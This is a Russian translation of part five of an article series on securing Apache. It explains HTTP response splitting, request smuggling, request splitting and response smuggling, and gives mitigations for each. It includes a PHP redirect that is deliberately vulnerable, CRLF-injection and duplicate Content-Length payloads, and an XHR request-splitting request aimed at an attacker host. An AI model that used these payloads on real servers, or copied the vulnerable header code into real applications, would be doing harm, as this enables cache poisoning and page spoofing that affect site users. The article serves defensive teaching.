Библиотека сайта rus-linux.net
Безопасная эксплуатация Apache, часть 5: использование уязвимостей архитектуры сообщений HTTP
Оригинал: Securing Apache, Part 5: HTTP Message ArchitectureАвтор: Arpit Bajpai
Дата публикации: 1 января 2011 г.
Перевод: А.Панин
Дата перевода: 21 января 2013 г.
В четырех предыдущих статьях данной серии мы обсудили SQL-инъекции, XSS-, CSRF-, XST- и XSHM-атаки, а также мероприятия по их нейтрализации. В данной статье проводится рассмотрение атак, в ходе которых происходит эксплуатация уязвимостей архитектуры сообщений HTTP при работе по схеме клиент-прокси-сервер.
- Атаки с разделением ответов HTTP (HTTP response splitting)
- Атаки некорректной передачи запросов HTTP (HTTP request smuggling)
- Атаки с разделением запросов HTTP (HTTP request splitting)
- Атаки некорректной передачи ответов HTTP (HTTP response smuggling)
Давайте рассмотрим их по очереди.
Атаки с разделением ответов HTTP
В ходе данной атаки, также называемой CRLF-инъекцией, уязвимый веб-сервер отвечает на специально сформированный вредоносный запрос ответом HTTP, который интерпретируется как два отдельных ответа вместо одного. Это становится возможным в случаях, когда в заголовках ответа HTTP используются данные, введенные пользователем без дополнительных проверок. Взломщик может спровоцировать ситуацию, при которой браузер жертвы атаки интерпретирует добавленный заголовок как ответ на второй запрос, при этом специально сформированные данные будут отображены и, возможно, добавлены в кэш браузера.
- Обнаруживает возможности для ввода данных пользователем с возможностью добавления этих данных в заголовок HTTP.
- Формирует вредоносную строку для завершения запроса от приложения и добавления своего собственного запроса с необходимыми данными в заголовке.
- Принуждает жертву атаки к отправке двух запросов серверу. Первый запрос содержит специально сформированные вредоносные данные в составе заголовка HTTP, а второй - запрос от приложения, поэтому браузер жертвы атаки интерпретирует разделенный ответ таким образом, что он считается принадлежащим второму запросу.
%0d
=\r
) и LF (Переход на новую строку, Line Feed=%0a
=\n
). В таких приложениях происходит вставка кода, такого, как \r\n
, в одной из множества форм его кодирования.
<?php header ("Location: " . $_GET['page']); ?>
Запросы данной страницы, такие, как http://test.example.com/~arpit/redirect.php?page=http://www.example.com
, должны перенаправлять браузер пользователя на ресурс http://www.example.com
. Давайте рассмотрим заголовки HTTP, генерируемые в ходе данной сессии.
GET /~arpit/redirect.php?page=http://www.example.com HTTP/1.1\r\n Host: test.example.com\r\n User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9) Gecko/2008052960 Firefox/3.6.2\r\n ...... Accept-Language: en-us,en;q=0.5\r\n Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n Keep-Alive: 300\r\n Connection: keep-alive\r\n \r\n
HTTP/1.1 302 Found\r\n Date: Tue, 12 Apr 2005 21:00:28 GMT\r\n Server: Apache/2.3.8 (Unix) mod_ssl/2.3.8 OpenSSL/1.0.0a\r\n Location: http://www.example.com\r\n [User input in headers] ...... Content-Type: text/html\r\n Connection: Close\r\n
GET / HTTP/1.1\r\n Host: www.example.com\r\n User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9) Gecko/2008052960 Firefox/3.6.2\r\n ...... Accept-Language: en-us,en;q=0.5\r\n Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n Keep-Alive: 300\r\n Connection: keep-alive\r\n
После этого сервер должен вернуть статус HTTP 200 OK и пользователь увидит страницу, загруженную с ресурса www.example.com
. Обычные заголовки HTTP, приведенные выше, могут быть также отображены графически таким образом, как показано на Рисунке 1.
Рисунок 1: Обычный обмен данными между клиентом и сервером при переадресации со статусом HTTP 302
%0d%0a
для добавления в заголовок данных, аналогичных представленным ниже:
\r\n Content-Type: text/html\r\n HTTP/1.1 200 OK\r\n Content-Type: text/html\r\n Content-Length: 6\r\n \r\n <html>HACKED</html>
HTTP/1.1 302 Found [Первый стандартный ответ со статусом HTTP 302] Date: Tue, 12 Apr 2005 22:09:07 GMT Server: Apache/2.3.8 (Unix) mod_ssl/2.3.8 OpenSSL/1.0.0a Location: Content-Type: text/html HTTP/1.1 200 OK [второй ответ на новый запрос, сформированный взломщиком] Content-Type: text/html Content-Length: 6 <html>HACKED</html> [Введенные произвольные данные отображаются в качестве страницы перенаправления] Content-Type: text/html Connection: Close
Как мы можем увидеть в описании процесса обмена данными выше, сервер отправляет стандартный ответ HTTP со статусом 302, но возможность ввода произвольных данных в строку запроса приводит к передаче нового ответа HTTP со статусом 200 OK, что позволяет показать введенные данные жертве атаки в виде обычного ответа веб-сервера. Таким образом, жертва атаки должна увидеть веб-страницу с текстом "HACKED". Схематично данные шаги отображены на Рисунке 2.
Рисунок 2: Процесс реализации атаки с разделением ответов HTTP (кликните для увеличения)
Этот пример представляет собой простой случай эксплуатации XSS-уязвимости с использованием атаки с разделением ответов HTTP. Кроме этого, взломщик может также добавить вредоносные данные к кэш сервера (Web-cache poisoning), провести межпользовательские атаки (Cross-user attacks) и добавить вредоносные данные в кэш браузера (Browser cache poisoning).
Межпользовательские атаки: При межпользовательских атаках второй ответ, отправленный веб-сервером, может быть ошибочно интерпретирован как ответ на другой запрос, возможно отправленный другим пользователем, использующим это же TCP-соединение с сервером. В этом случае запрос от одного пользователя обслуживается с использованием данных другого пользователя. |
Для добавления вредоносных данных в кэш взломщик просто использует параметр "Last-Modified" в сформированной части заголовка (для сохранения в кэше вредоносной веб-страницы в течение времени, заданного параметром "Last-Modified" заголовка, заданная данным параметром дата всегда опережает текущую). Более того, использование параметров Cache-Control: no-cache
и/или Pragma: no-cache
в добавленном заголовке позволяет добавить в кэш даже не предназначенные для этого страницы веб-сайтов.
Мероприятия по повышению безопасности
- Лучшим способом устранения уязвимостей разделения ответов HTTP является поиск во всех введенных пользователями данных символов CR/LF, т.е,
\r\n
,%0d%0a
или любой другой формы их кодирования (или других небезопасных символов) перед использованием этих данных в любых заголовках HTTP. - Следует правильно форматировать строки URI в любых местах сообщений HTTP, например, в параметре "Location" заголовка HTTP; после этого символы CRLF (
/r
,/n
) не будут обрабатываться браузером. - Миф о том, что использование SSL позволяет противодействовать этим атакам не является правдой; при использовании данной технологии кэш веб-браузера и соединения вне SSL остаются незащищенными. Не полагайтесь на технологию SSL для защиты от рассматриваемого типа атак.
Для получения информации о других направлениях атак и методах защиты от них, не забудьте рассмотреть раздел дополнительных ресурсов в конце статьи.
Атаки некорректной передачи запросов HTTP
Атаки некорректной передачи запросов используются против распределенных систем, обрабатывающих HTTP-запросы (особенно тех, которые используют вложенные запросы) различными способами. Эти различия в обработке запросов могут эксплуатироваться при взаимодействии с серверами или приложениями, отправляющими HTTP-запросы далее напрямую к другому серверу - например, с прокси-серверами, кэширующими серверами или межсетевыми экранами.
Если промежуточный сервер интерпретирует запрос одним способом (рассматривая запрос определенным образом), конечный сервер интерпретирует его другим способом (рассматривая запрос отличным образом), то ответы не будут ассоциированы с корректными запросами.
Следовательно, промежуточное устройство, которое должно защищать сеть от опасных HTTP-запросов, трактует вредоносный запрос как данные, в то время, как сервер может интерпретировать его как корректный запрос.
Это разобщение может привести к помещению вредоносных данных в кэш (Cache poisoning) или возможности использования межсайтового скриптинга (XSS) с показом пользователю неуместного содержимого страницы в итоге. Также это может привести к обходу межсетевого экрана или к нарушению соответствия и последовательности запросов и ответов, что делает ваш сервер уязвимым к другим, возможно более опасным атакам.
Почему данная атака возможна? Атаки некорректной передачи запросов эксплуатируют недостаточное соответствие в обработке и интерпретации данных протокола HTTP спецификации (RFC 2616). Спецификация RFC2616 указывает на то, что в заголовке должен быть один и только один параметр Content-Length.
Но при использовании нескольких параметров Content-Length в заголовке становится возможным ввести в заблуждение прокси-сервера и обойти некоторые межсетевые экраны, в зависимости от их интерпретации заголовков HTTP. Частично это происходит из-за того, что в спецификации RFC2616 нет указания на то, как должен вести себя конечный сервер при получении множества заголовков HTTP и частично из-за того, что конечные сервера всегда достаточно свободно интерпретируют запросы от клиентов, которые пользуются этой особенностью их работы, не следуя в точности спецификации протокола HTTP.
Некоторые конечные сервера при обработке запроса игнорируют первый или второй заголовок, после чего обрабатывают данные, размер которых задан параметром "Content-Length". Эта особенность может использоваться для того, чтобы заставить прокси-сервер трактовать запросы как данные и наоборот, что позволяет ввести в заблуждение конечный сервер и заставить его выполнить вредоносные запросы, скрытые внутри корректных запросов.
Сценарий атаки
В данном отдельном случае описывается атака по добавлению вредоносных данных в кэш веб-сервера с помощью некорректной передачи запроса. В ходе атаки отправляется ряд HTTP-запросов для эксплуатации уязвимостей веб-сервера (www.example.com
) и кэширующего прокси-сервера. В данном случае целью взломщика является добавление в кэш содержимого страницы www.example.com/resource_denied.html
вместо содержимого страницы www.example.com/welcome.html
.
Примечание: Для успешной реализации атаки некорректной передачи запросов HTTP необходимо, чтобы веб-приложение содержало XSS-уязвимость. |
POST http://www.example.com/some.html HTTP/1.1 Host: www.example.com Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Content-Length: 0 Content-Length: 39 GET /resource_denied.html HTTP/1.1 Blah: GET http://www.example.com/welcome.html HTTP/1.1 Host: www.example.com Connection: Keep-Alive
POST http://www.example.com/some.html HTTP/1.1 Host: www.example.com Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Content-Length: 0 Content-Length: 39 GET /resource_denied.html HTTP/1.1 Blah:
POST http://www.example.com/some.html HTTP/1.1 Host: www.example.com Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Content-Length: 0 Content-Length: 39
GET /resource_denied.html HTTP/1.1 Blah:
GET http://www.example.com/welcome.html HTTP/1.1 Host: www.example.com Connection: Keep-Alive
http://www.example.com/welcome.html
. Прокси-сервер передает этот запрос веб-серверу. Он добавляется в конец неполного запроса веб-сервера, который представляется в следующем виде:
GET /resource_denied.html HTTP/1.1 Blah: GET http://www.example.com/welcome.html HTTP/1.1 Host: www.example.com Connection: Keep-Alive
В конце концов веб-сервер получает второй запрос от клиента, который он может обработать. Он интерпретирует его как HTTP-запрос страницы http://www.example.com/resource_denied.html
. Запрос Blah
не имеет значения согласно спецификации HTTP RFC, поэтому он игнорируется веб-сервером. В результате содержимое страницы http://www.example.com/resource_denied.html
возвращается в ответ на (специально сформированный) запрос страницы http://www.example.com/welcome.html
. Теперь до момента истечения срока хранения данных в кэше прокси-сервера, пользователям, запросившим страницу welcome.html
, будут передаваться копии страницы resource_denied.html
.
Данный сценарий является примером частично управляемой атаки по добавлению данных в кэш веб-сервера (смотрите Рисунок 3), поскольку взломщики так и не получили полный контроль над содержимым кэша. Более того, они не получили полного контроля над возвращаемыми заголовками HTTP и, что более важно, взломщикам пришлось использовать существующую (и кэшируемую) страницу целевого веб-сайта в качестве замены (в примере выше это страница resource_denied.html
).
Однако, кроме описанных выше действий, взломщики могут также обойти межсетевые экраны/IDS/IPS и похитить аутентификационные данные - конечно же, с помощью данного типа атаки это не сложно. Для того, чтобы узнать больше о атаках некорректной передачи запросов HTTP, не забудьте обратиться к разделу дополни тельных ресурсов в конце статьи.
Рисунок 3: Атака некорректной передачи запросов HTTP (кликните для увеличения)
Мероприятия по повышению безопасности
- Устанавливайте экраны для веб-приложений, защищающие от атак некорректной передачи запросов HTTP. Некоторые экраны до сих пор уязвимы для данного типа атак; обратитесь к производителю экрана с вопросом о том, обеспечивает ли он защиту от этих атак.
- Применяйте стойкие техники управления сессиями. Завершайте сессии после каждого запроса.
- Отключите распределение TCP-соединений на промежуточных устройствах. Распределение TCP-соединений улучшает производительность, но позволяет взломщикам проводить атаки некорректной передачи запросов HTTP.
- Активируйте запрет на кэширование всех страниц. Для подробного описания обратитесь к ресурсу www.web-caching.com.
Атаки разделения запросов HTTP
В ходе данных атак браузеры пользователей отправляют множество HTTP-запросов вместо единственного запроса. На данный момент известны два механизма для осуществления данного типа атак: использование объекта XmlHttpRequest (для краткости обозначаемого XHR) и использование механизма HTTP-аутентификации при помощи хэшей (HTTP digest). Для осуществления данной атаки жертва атаки должна использовать прокси-сервер. В общем случае для разделения HTTP-запроса, в него добавляются последовательности символов CRLF.
XmlHttpRequest является объектом JavaScript, позволяющим отправлять с помощью клиентского JavaScript-кода практически необработанные HTTP-запросы к заданному узлу и получать доступ к данным ответов в необработанной форме. Объект XmlHttpRequest как таковой является основным компонентом технологии AJAX. |
Сценарий атаки
Примечание: код, приведенный выше, будет работать только в браузере Internet Explorer; модификации, необходимые для его работы в браузере Mozilla закомментированы и вы можете просто раскомментировать их в случае необходимости. |
GET\thttp://www.attacker.com/page1.html\tHTTP/1.0 Host:\twww.attacker.com Proxy-Connection:\tKeep-Alive GET http://www.attacker.com/page2.html HTTP/1.0 Host: www.attacker.com ...... ...... Content-Type: text/html Connection: Keep-Alive
Следовательно, он ответит на два HTTP-запроса. Первый ответ (http://www.attacker.com/page1.html
) будет обработан самим объектом XHR, а второй (http://www.attacker.com/page2.html
) будет ожидать в очереди ответов браузера до того момента, пока с помощью браузера не будет запрошена страница http://www.example.com/index.html
(так как в этот момент будет выполнен метод window.open()
). После этого браузер сопоставит ответ на запрос страницы http://www.attacker.com/page2.html
с запросом со строкой URL http://www.target.com/index.html
и покажет в окне страницу, выбранную взломщиком с данной строкой URL!!
Важное замечание: в примере атаки, приведенном выше, мы использовали горизонтальную табуляцию (\t ) вместо простых пробелов по той причине, что браузер IE не позволяет использовать пробелы в параметрах метода x.open() . Причина по которой мы использовали версию протокола HTTP/1.0 заключается в том, что версия HTTP/1.1 содержит строгое требование исключительного использования пробелов в то время, как версия HTTP/1.0 не содержит таких ограничений.
|
Вредоносный сценарий, исполняемый браузером жертвы атаки отправляет только один запрос, но прокси-сервер получает два HTTP-запроса (теоретически это могут быть запросы для разных доменов), поэтому прокси-сервер отправляет два различных ответа HTTP.
Мероприятия по повышению безопасности
- Владельцам сайтов следует использовать технологию SSL для их защиты.
- Полное устранение XSS-уязвимостей, несомненно, поможет в борьбе с данными атаками в значительной степени.
- Часто советуют также заблокировать запросы по протоколу HTTP/1.0 на уровне веб-сервера. Хотя данная методика и работоспособна, ее применение заблокирует доступ к сайту ботов большинства поисковых машин, так как они в большинстве случаев используют протокол HTTP/1.0.
- Следует применить методики, предложенные для борьбы с другими типами атак в данной статье (особенно фильтрацию введенных пользователем данных с целью удаления последовательностей CRLF).
Атаки некорректной передачи ответов HTTP
Данная атака применяется крайне редко. В ходе атаки взломщик передает два ответа HTTP от сервера клиенту через промежуточное устройство, работающее по протоколу HTTP и позволяющее принимать единичные ответы от сервера. Для осуществления этой атаки используются непостоянные или ошибочные интерпретации сообщений протокола HTTP различными приложениями.
Например, возможно использование различных символов для завершения блоков (CR или LF по отдельности), с помощью которых становится возможным добавлению дублирующих полей заголовка, которые интерпретируются браузерами как принадлежащие к разным ответам, а также использование других техник. В качестве последствий таких атак могут проводиться атаки разделения запросов HTTP, атаки на основе межсайтового скриптинга, замена страниц на выбранных сайтах, добавление данных в кэш и подобные действия.
Данная атака наиболее полезна в качестве метода для обхода механизмов противодействия атакам разделения ответов HTTP (anti-HRS). Для успешной реализации данного типа атак необходимо, чтобы сервер позволял взломщику добавлять данные, которые впоследствии будут содержаться в ответе сервера.
Атаки некорректной передачи ответов HTTP используют техники, аналогичные применяемым при атаках некорректной передачи запросов HTTP для использования расхождений в том, как механизм противодействия атакам разделения ответов HTTP (или прокси-сервер) определяет корректность потока ответов HTTP и как поток ответов HTTP обрабатывается прокси-сервером (или браузером). Поэтому в том случае, если механизм anti-HRS считает определенный поток ответов безопасным (единичным HTTP-ответом), прокси-сервер или браузер может обрабатывать его как два отдельных HTTP-ответа и, таким образом, быть восприимчивым ко всем последствиям классической атаки разделения запросов HTTP (в одном случае) или к подмене страниц в кэше (в другом случае).
Например, некоторые механизмы anti-HRS, используемые приложениями, могут запрещать вставку последовательности символов CR+LF в заголовок ответа. При этом взломщик может заставить приложение вставить в заголовок только символы LF или только символы CR, тем самым обходя механизм защиты. Некоторые прокси-серверы могут также трактовать символы CR (единичные) как разделители заголовков и данных ответов и, таким образом, комбинация веб-сервера и прокси-сервера будет уязвимой к атаке, способной модифицировать кэш прокси-сервера.
Так как данная атака имеет множество зависимостей (поэтому она и применяется очень редко), я советую вам обратиться к разделу дополнительных ресурсов ниже для того, чтобы узнать больше о ней. В качестве меры дополнительной безопасности следует строго придерживаться единой системы интерпретации сообщений HTTP там, где это возможно. (Помните о том, что не должны использоваться единичные символы CR и LF.) Более того, кодирование введенной пользователями информации в заголовках (таким образом, что пользовательские данные не будут интерпретироваться промежуточными узлами) является также хорошим способом сдерживания атаки. Наконец, следует отклонять все ответы сервера, не соответствующие стандарту RFC.
Все примеры сценариев атак, описанные выше, приводятся исключительно в образовательных целях. Еще раз обращаю внимание на то, что ни я ни журнал LFY не ставим своей целью научить вас атаковать серверы. Напротив, техники атак приведены с целью получения вами необходимых знаний для защиты собственной инфраструктуры. Мы рассмотрим другие опасные атаки на веб-приложения и Apache в следующей статье.
Всегда помните: нужно знать все о взломе, но не заниматься им.
Дополнительные ресурсы
- Документ, описывающий атаки некорректной передачи запросов HTTP (HTTP Request Smuggling)
- Документ, описывающий атаки с разделением ответов HTTP (HTTP Response Splitting)
- Ресурс с названием "Обнаружение и предотвращение атак с разделением ответов HTTP и атаки некорректной передачи запросов HTTP на уровне протокола TCP" ("Detecting And Preventing HTTP Response Splitting And HTTP Request Smuggling Attacks At The TCP Level")
- Дискуссия об атаках с разделением запросов HTTP в списке рассылки ("HTTP Request Splitting")
- Страница wiki OWASP "Тестирование на наличие уязвимостей разделения и некорректной передачи запросов HTTP" ("Testing for HTTP Splitting/Smuggling (OWASP-DV-016)")
- Дискуссия об атаках некорректной передачи ответов HTTP в списке рассылки ("HTTP Response Smuggling")
Продолжение серии: "Безопасная эксплуатация Apache, часть 6: атаки на механизм управления сессиями"